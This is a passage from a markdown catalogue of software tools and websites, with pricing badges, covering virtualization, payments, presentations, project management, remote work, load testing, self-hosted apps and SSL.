Distribution - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [proxmox](https://www.proxmox.com/en/) - Operating System for enterprise virtualization. With the built-in web interface you can easily manage VMs and containers, software-defined storage and networking, high-availability clustering, and multiple out-of-the-box tools on a single solution. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [qemu](https://www.qemu.org/) - A generic machine emulator and virtualizer. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/qemu/QEMU) - [reactOS](https://www.reactos.org/) - Imagine running your favorite Windows applications and drivers in an open-source environment you can trust. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [repology](https://repology.org/) - Repology monitors a huge number of package repositories and other sources comparing packages versions across them and gathering other information. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [unraid](https://unraid.net/) - Operating system that brings enterprise-class features to maximize performance and capacity using any combination of applications, VMs, storage devices, and hardware. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [virtualbox](https://www.virtualbox.org/) - A virtualization product for both enterprise and home use. Only professional solution that is freely available as Open Source Software - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Online Payment / Sell stuff / Buy stuff / TPE / Passive income _Katsching_ - [Apollo](https://www.apollo.io/) - Sales and engagement strategy platform - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [gumroad](https://gumroad.com/) - Self-publishing digital market place platform to sell digital services such as books, memberships, courses and other digital services. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [honey](https://www.joinhoney.com/) - helps you find some of the best coupon codes on 30,000+ sites. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [leanpub](https://leanpub.com/) - Sell ebooks - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [leanpub](https://leanpub.com/) - Sell ebooks - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [mazyng](https://mazyng.com/) - Build your brand. Design your future. We help you sell custom merchandise online. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Orbit](https://orbit.love/) - Grow and measure your community across any platform with Orbit, mission control for your community. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [paytweak](https://www.paytweak.com/) - Email, text, chat, bots ... Payment Services - Build your own Secure Payment Links to get Payments directly to your bank account with No time and No fees ! - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [paytweak](https://www.paytweak.us/) - Build your own Universal Secure Payment Links to get Payments - [picfair](https://try.picfair.com/pp/) - You upload & set your prices. You customize your store. Picfair does everything else. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [serverhunter](https://www.serverhunter.com/) - Compare servers from different providers - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Stripe](https://stripe.com/) - Accept payments and manage your business online - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [sumup](https://sumup.com/credit-card-processing-fees) - Card payment processor for small businesses. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) in seconds, directly to your bank account with No time and No fees ! - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Others _/dev/random_ - [accredible](https://www.accredible.com/) - Digital badge and certificate platform - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [aircall](https://aircall.io/) - Cloud-based call center software - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [brickit](https://brickit.app/) - Build new creations from your lego bricks. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Coffitivity](https://coffitivity.com/) - Recreates the ambient sounds of a cafe to boost your creativity and help you work better - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [ergodox-ez](https://ergodox-ez.com/) - fully customizable ergonomic keyboard. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [estcequonpeutpartir](http://estcequonpeutpartir.fr/) - :fr: Helps taking decisions on where to go on holiday - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [farmbot](https://farm.bot/) - Open-Source CNC Farming - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/FarmBot/Farmbot-Web-App) - [go-jira](https://github.com/andygrunwald/go-jira) - Go client library for Atlassian Jira - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Great escape](https://greatescape.co) - Flight tracker / Travel helper that helps take decisions or find new destinations based on prices and many other categories, for example if you want to start travelling from a specific starting point - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [greenframe](https://greenframe.io/) - Measure and reduce your website CO2 emissions - [History of web design](https://www.webdesignmuseum.org/web-design-history) - Time travel into the early days of the web. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [ioverlander](https://www.ioverlander.com/) - Mapping project for travellers. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [jollyroger telephone](https://jollyrogertelephone.com/) - Fight back against annoying telemarketers and evil scammers! - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [jsfuck](http://www.jsfuck.com/) - Write any JavaScript with 6 Characters: []()!+ - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Lukky](https://lukky.app/) - Social Contests Made Easy. Quickly draw winners from the comments on Instagram, Twitter and Facebook! - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [lingopie](https://lingopie.com/) - Learn a New Language With Great TV - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [macos-virtualbox](https://github.com/myspaghetti/macos-virtualbox) - Push-button installer of macOS Catalina, Mojave, and High Sierra guests in Virtualbox for Windows, Linux, and macOS - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Open Street map](https://www.openstreetmap.org) - OpenStreetMap is the free wiki world map. OpenStreetMap is a map of the world, created by people like you and free to use under an open license. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [openframe](https://openframe.io/) - Platform for artists, curators and art enthusiasts to share, discover and display digital art. Raspberry pi based. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [openHAB](https://www.openhab.org/) - Automation software for your home (smart home) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [OpenHaystack](https://github.com/seemoo-lab/openhaystack) - Track personal Bluetooth devices via Apple's massive Find My network. Use it to create your own tracking tags that you can append to physical objects (keyrings, backpacks, ...) or integrate it into other Bluetooth-capable devices such as notebooks. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [pdfmapmaker](https://pdfmapmaker.com/) - Create pdfs from maps. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [pixelartcss](https://www.pixelartcss.com/) - Create pixel art using CSS - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [pixelartcss](https://www.pixelartcss.com/) - Generate pixel art css. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Product Hunt Time Machine](https://timemachine.betamode.dev/) - Most voted hunt from every day since Product Hunt records began. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Public Money? Public Code!](https://publiccode.eu/openletter/) - Publicly funded software has to be Free and Open Source Software. While there are plenty of good reasons for this, many politicians don’t know about them yet. - [schlouk-map](https://www.schlouk-map.com/fr/) - Find the perfect bar close to you. France only. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [sdelete](https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete) - Securely deleting a file - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [streamlit](https://streamlit.gishub.org/) - Interactive web app for creating Landsat/GOES timelapse for any location around the globe. The app was built using streamlit, geemap, and Google Earth Engine. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [The true size](https://thetruesize.com) - Easily compare countries with each others - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [The-Open-Book](https://github.com/joeycastillo/The-Open-Book) - Want to create your own ebook reader? - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [TimeLines](https://github.com/mathieudutour/TimeLines) - Know when all your friends, colleagues, and family are. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [usertesting](https://www.usertesting.com/get-paid-to-test) - Get paid to test products. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [vector.rocks](https://vector.rocks/) - Add content on a map. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [vervoe](https://vervoe.com/) - Skill testing software that automatically ranks candidates based on how well they can do the job. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [WDL](https://www.wdl.org/) - World Digital Library, has books, maps, ... - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ## Presentations _Bored of powerpoint?_ - [beamer](https://github.com/josephwright/beamer) - LaTeX class for producing presentations - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [big](https://github.com/tmcw/big) - A configuration-free system for creating presentation (powerpoint style) that naturally encourages good style. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [browserframe](https://browserframe.com/) - Wrap screenshots in browser frames. Supports multiple browsers, operating systems, and themes. - - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [eagle.js](https://github.com/zulko/eagle.js/) - A hackable slideshow framework built with Vue.js - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [fusuma](https://github.com/hiroppy/fusuma) - Markdown and MDX Presentations (supports custom JS, CSS and React) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [gatsby-starter-deck](https://github.com/fabe/gatsby-starter-deck) - Create presentations using Gatsby, React & Markdown - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [gitpitch](https://github.com/gitpitch/gitpitch) - Markdown Presentation Service For Developers - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Hacker Slides](https://github.com/msoedov/hacker-slides) - A small UI for reveal.js presentations editor form markdown files. (it's selfhosted) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [keppler](https://github.com/brunosimon/keppler) - Real time code sharing for your lectures and presentations. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [mdp](https://github.com/visit1985/mdp) - A command-line based markdown presentation tool - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [present](https://github.com/vinayak-mehta/present) - Terminal-based presentation tool with colors and effects - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [presentify](https://presentify.compzets.com/) - macOS menu bar app that helps you give better presentations, online classes, or video tutorials by letting you annotate any screen, highlight your cursor, and more. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [reveal-md](https://github.com/webpro/reveal-md) - Reveal JS but for Markdown or YAML (supports custom JS, CSS and export to pdf) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [reveal.js](https://github.com/hakimel/reveal.js) - The HTML Presentation Framework - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Showoff Presenter](https://github.com/puppetlabs/showoff) - Slideshow presentation tool that runs as a web application, with audience interactivity features. This means that your audience can follow along in their own browsers, can download supplemental materials, can participate in quizzes or polls, post questions for the presenter, etc. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [vortex](https://github.com/tajpure/vortex) - A markdown presentation tool. (supports custom CSS) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [webslides](https://github.com/webslides/webslides/) - Create HTML presentations in seconds - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Governement-funded / Participative software / Community _Public money, public code !_ - [ckan](https://ckan.org/) - Data portal platform / Data management system that makes data accessible – by providing tools to streamline publishing, sharing, finding and using data - [consulproject](https://consulproject.org/en/) - Citizen participation tool for an open, transparent and democratic government. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [decidim](https://github.com/decidim/decidim) - Participatory democracy framework - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [gnuhealth](https://gnuhealth.org/#/) - Libre Health and Hospital Information System - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [kit](https://kit.co/) - Help Your Followers Find Your Favorite Tools - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [ogptoolbox](https://ogptoolbox.org/en/) - List of tools and resources to promote democracy, transparency, participation and collaboration. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [opencollective](https://opencollective.com/) - Manage your finances so everyone can see where money comes from and where it goes. Collect and spend money transparently. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [oskari](https://www.oskari.org/) - A framework for easily building multipurpose web mapping applications utilizing distributed Spatial Data Infrastructures like INSPIRE - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [sentilo](https://www.sentilo.io/wordpress/) - Smart City platform. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [X-Road](https://github.com/nordic-institute/X-Road) - X-Road Data Exchange Layer is a standardised, cohesive, collaborative, interoperable and secure data exchange layer that gives service providers the opportunity to combine many different services and data sources. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Project management / Time Management / Organisation / Productivity - [agantty](https://www.agantty.com/) - Free Projektmanagement (gantt, ...) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [automate.io](https://automate.io/) - Automate like Fortune 500. Integrate your cloud applications. Automate marketing, sales and business processes. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [awwapp](https://awwapp.com/) - Online whiteboard - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [cal.com](https://cal.com/) - Open source Calendly alternative. You are in charge of your own data, workflow and appearance. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Clocker](https://github.com/n0shake/Clocker) - macOS app to plan and organize through timezones- [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [clockify](https://clockify.me/) - Free time tracking software. It's a simple time tracker and timesheet app that lets you and your team track work hours across projects. Unlimited users, free forever. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [favro](https://learn.favro.com/) - Favro is the planning and collaboration app for organizational flow. It helps organizations do what they excel at - making products and services that change the game. Fast. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [gantt](https://github.com/frappe/gantt) - Javascript Gantt, A simple, interactive, modern gantt chart library for the web - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [hakatime](https://github.com/mujx/hakatime) - Hakatime is a server implementation of Wakatime. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [hill-charts](https://basecamp.com/features/hill-charts) - see where projects really stand - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Life-Calendar](https://github.com/wvdk/Life-Calendar) - A calendar... for your life (in development) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [limesurvey](https://www.limesurvey.org/) - Professional online surveys / polls selfhosted - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [meeter](https://apps.apple.com/de/app/meeter-fast-call-initiation/id1510445899?l=en&mt=12) - Manage all your calls and meetings in one place. macOS app that is located in the taskbar. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [meetingbird](https://www.meetingbird.com) - Simply schedule your meetins (integrates with gmail) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [mindnode](https://mindnode.com/) - Mindmap and brainstorming - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Openproject](https://www.openproject.org/) - Collaborative Project Management: project management software. Gantt charts, Agile, Scrum, Wiki, ... - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [org-mode](https://orgmode.org) - Keeping notes, maintaining TODO lists, planning projects, and authoring documents with a fast and effective plain-text system - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [pandora](https://getpandora.tech/) - Collect the content (docs, links, ppt, img, code snippets and more... ) your co-workers have shared with you on Slack and Gmail. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [pomofocus](https://pomofocus.io/) - Pomodoro time tracking that can be customized. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [shipright](https://www.shipright.co/) - One organized place for product feedback - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [simplemind](https://simplemind.eu/) - Mindmap - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [startinfinity](https://startinfinity.com/) - Kanban & More - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [strategr](https://khrykin.github.io/strategr/) - No-Fuss Time Management - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [survio](https://www.survio.com/en/) - Simply create surveys - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [timeout](https://www.dejal.com/timeout/) - Time tracker and break reminder for macOS - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [timingapp](https://timingapp.com/?lang=en) - Automatic and manual time tracking, for the best of both worlds. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [todo-cli](https://github.com/francoischalifour/todo-cli) - Command-line tool to manage the Todo lists of your projects - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [todoist](https://todoist.com/fr) - Todo lists - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [topsi-project-manager](https://github.com/Physiix/topsi-project-manager) - A Desktop Kanban board app. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [untools](https://untools.co/) - Tools for better thinking. Collection of thinking tools and frameworks to help you solve problems, make decisions and understand systems. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [wakatime](https://wakatime.com/) - Metrics about your programming. See [hakatime](https://github.com/mujx/hakatime) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [worldtimebuddy](https://www.worldtimebuddy.com/) - Visualize Timezones (ECT, UTC, ...) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [xmind](https://www.xmind.net/) - Mind mapping and brainstorming tool - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ### Kanban - [kanban](https://github.com/leanlabsio/kanban) - Lean project management Kanban for GitLab - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [react-kanban](https://github.com/markusenglund/react-kanban) - A server-rendered React Kanban app inspired by Trello built with React and Redux. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [taskcafe](https://github.com/JordanKnott/taskcafe) - Kanban board - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Wekan](https://github.com/wekan/wekan) - Kanban board (built with Meteor). - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Questions & Answers (Questions & Answers) _Ever heard of Stackoverflow ?_ - [paizaqa](http://paizaqa.herokuapp.com/) - Stack Overflow like Q&A built using MEAN stack - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/gi-no/paizaqa) - [questions2answer](http://www.question2answer.org/qa/) - Question2Answer is a platform for Q&A sites, running on PHP/MySQL - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/q2a/question2answer) ## Regex / Sed <img src="https://media.giphy.com/media/mDFpdL1UxdVZRBN2V4/giphy.gif" width="200"/> - [I hate regex](https://ihateregex.io/) - Because you know you do... online tool with helpful charts and explanations to your regex - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Regex101](https://regex101.com/) - Another online tool for dealing with regex - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [regexcrossword](https://m.regexcrossword.com/) - A Regex Crossword "Game" - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [rgxg](https://github.com/rgxg/rgxg) - rgxg (ReGular eXpression Generator) is a C library and a command-line tool to generate (extended) regular expressions. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [sed online](https://sed.js.org/) - the sed command, but online - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ## Remote work / Visioconference / Pair programming - [beekast](https://www.beekast.com/features/) - Fun and interactive activities during visioconferences - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Go to meeting](https://www.gotomeeting.com/) - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [Google Hangouts](https://hangouts.google.com/) - Communication software product developed by Google - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [hopin](https://hopin.to/) - Virtual venue with multiple interactive areas that are optimized for connecting and engaging. Attendees can move in and out of rooms just like an in-person event and enjoy the content and connections you've created for them. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [join me](https://www.join.me/) - Conferences, screen sharing, ... - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [obsproject](https://obsproject.com/) - Software for video recording and live streaming on windows, macOS and Linux. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [restream](https://restream.io/) - Stream live to 30+ social platforms at once. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [safetywing.com](https://safetywing.com/remote-health/) - Health insurancefor your remote team. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [Seashells](https://github.com/anishathalye/seashells) - Pipe output from command-line programs to the web in real-time, even without installing any new software on your machine. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Slack](https://slack.com) - A single place for messaging, tools and files - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Streamhut](https://github.com/miguelmota/streamhut) - Stream your terminal to web without installing anything. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Streamyard](https://streamyard.com/) - The easiest way to create professional live streams - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Teams](https://products.office.com/en-en/microsoft-teams/free) - Work remotely without feeling remote. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Tixeo](https://www.tixeo.com/) - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [Webex](https://cart.webex.com/sign-up?locale=en_EN) - Enterprise solution for video conferencing, online meetings, screen share, and webinars. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [when2meet](https://www.when2meet.com/) - Makes scheduling meeting accross timezones easy. Very helpful for distributed teams. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [whereby](https://whereby.com/) - Easy video meetings - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [workaway](https://www.workaway.info/) - Community for cultural exchange, working holidays and volunteering in 170 countries. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [youtube](http://youtube.com/) - Allows to live stream - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Zoho](https://www.zoho.com/meeting/) - Your online meeting and webinar solution - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [zoom](https://zoom.us/) - Enterprise video conferencing with real-time messaging and content sharing - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ### Games for remote teams - [cardsagainstformality](https://cardsagainstformality.io/) - Cards against humanity but online. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [garticphone](https://garticphone.com/) - The phone game - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Skribbl](https://skribbl.io/) - Drawing and typing. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ## Server Basics - Apache / Nginx - Certbot - Fail2Ban - UFW (Iptables alternative) ## Server Loadtest _But... will it scale?_ - [ab](https://httpd.apache.org/docs/2.4/programs/ab.html) - Tool for benchmarking your Apache Hypertext Transfer Protocol (HTTP) server. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [blazemeter](https://www.blazemeter.com/) - open-source based, enterprise ready platform unifies all the functionality you need to shift testing left - and right. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [flood](https://www.flood.io/) - Easy to use load testing platform - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [jmeter](https://jmeter.apache.org/) - Java application designed to load test functional behavior and measure performance. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [k6](https://k6.io/) - Open source load testing tool and SaaS for engineering teams - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [loader](https://loader.io/) - Simple free Cloud-based LOAD TESTING - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [locust](https://github.com/locustio/locust) - Scalable user load testing tool written in Python. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [vegeta](https://github.com/tsenart/vegeta/) - HTTP load testing tool and library. It's over 9000! - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Selfhosted - [CachetHQ](https://cachethq.io/) - Status page system, helps better communicate downtime and system outages - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/CachetHQ/Cachet) - [CodeInterview](https://github.com/areebbeigh/codeinterview-backend) - CodeInterview is the right tool for online coding interviews. No sign-ups, just create a room and share the URL. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Cozy](https://cozy.io/en/) - Cozy is a platform that brings all your web services in the same private space. - [![](https://img.shields.io/badge/pricing-free-yellow)](https://github.com/cozy/cozy-drive) - [dex](https://github.com/dexidp/dex) - Identity service. OpenID Connect Identity (OIDC) and OAuth 2.0 Provider with Pluggable Connectors - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Domainmod](https://domainmod.org/) - An Application to manage your domains and other internet assets in a central location - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [framasoft - lufi](https://framagit.org/fiat-tux/hat-softwares/lufi) - E2E encrypted File sharing software - [![](https://img.shields.io/badge/pricing-open--source-green)](https://framagit.org/fiat-tux/hat-softwares/lufi) - [Framasoft](https://framasoft.org/) - Collection of free / open source tools that offer alternatives to Doodle, Google Forms, ... - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Freshrss](https://freshrss.org/) - A self-hostable RSS aggregator… probably the best! - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/FreshRSS/FreshRSS) - [helpy](https://github.com/helpyio/helpy) - Customer Support (ticketing) Software - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [homer](https://github.com/bastienwirtz/homer) - A very simple static homepage for your server. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [I, Librarian](https://github.com/mkucej/i-librarian-free) - PDF managing SaaS - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Jitsi](https://jitsi.org/) - Multi-platform video conferencing - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/jitsi) - [link-lock](https://github.com/jstrieb/link-lock) - Password-protect URLs when sharing them to others using AES in the browser. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Openvswitch](http://www.openvswitch.org/) - A production quality, multilayer virtual switch - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Osticket](https://osticket.com/) - Customer Support (ticketing) Software - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/osTicket/osTicket) - [peertube](https://github.com/Chocobozzz/PeerTube) - Decentralized and federated video platform which provides similar features to YouTube, Dailymotion or Vimeo. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Pi-hole](https://github.com/pi-hole/pi-hole) - A black hole for Internet advertisements / A DNS sinkhole that protects your devices from unwanted content, without installing any client-side software. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/pi-hole/pi-hole) - [Privatebin](https://privatebin.info/) - A minimalist, online pastebin where the server has zero knowledge of pasted data. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/PrivateBin/PrivateBin) - [Sandstorm](https://sandstorm.io/) - Platform for self-hosting web apps - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/sandstorm-io/sandstorm) - [Shaarli](https://github.com/shaarli/Shaarli) - Personal, minimalist, super-fast, database free, bookmarking / link sharing service - [![](https://img.shields.io/badge/pricing-open--source-green)]() - [Spreed-webrtc](https://github.com/strukturag/spreed-webrtc) - WebRTC audio/video call and conferencing server. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Staffjoy](https://github.com/staffjoy/) - Scheduling Apps - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/LandRover/StaffjoyV2) - [turtl app](https://turtlapp.com/) - The secure, collaborative notebook - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/turtl) - [xdebug](https://xdebug.org/) - Xdebug is an extension for PHP to assist with debugging and development. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/xdebug/xdebug) ### git / code repositories - [first-contributions](https://github.com/firstcontributions/first-contributions) - Help beginners to contribute to open source projects - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [git-jump](https://github.com/mykolaharmash/git-jump) - Improved navigation between Git branches. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [gitchangelog](https://github.com/vaab/gitchangelog) - Creates a changelog from git log history. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [gitui](https://github.com/Extrawurst/gitui) - The comfort of a git GUI but right in your terminal - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [gitea](https://gitea.io/en-us/) - A painless self-hosted Git service. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/go-gitea/gitea) - [gitexplorer](https://gitexplorer.com/) - Find the right commands you need without digging through the web. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Gitlab](https://gitlab.com/) - A web-based DevOps lifecycle tool + git repository manager - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [pre-commit](https://github.com/pre-commit/pre-commit) - A framework for managing and maintaining multi-language pre-commit hooks - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Rhodecode](https://rhodecode.com/) - Centralized control for distributed repositories. Mercurial, Git, and Subversion under a single roof. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://code.rhodecode.com/) ### Ticketing / Bug tracker / Support - [linear](https://linear.app/) - Linear helps streamline software projects, sprints, tasks, and bug tracking. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [liveagent](https://www.liveagent.com/) - Tickets, Livechat, ... all in one place - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [Mantis BT](https://www.mantisbt.org/) - An issue tracker / Ticketing tool that provides a delicate balance between simplicity and power - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/mantisbt/mantisbt) - [YouTrack](https://www.jetbrains.com/youtrack/features/) - Issue tracking tool that enables teams to collaborate efficiently. Made by JetBrains - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [zammad](https://zammad.org/) - Zammad is a web-based user support/ticketing solution. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/zammad/zammad) ## SSL - [Certbot](https://certbot.eff.org/) - A software tool for automatically using Let’s Encrypt certificates on manually-administrated websites to enable HTTPS. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/certbot/certbot) - [Let's Encrypt](https://letsencrypt.org/) - A nonprofit Certificate Authority providing TLS certificates to 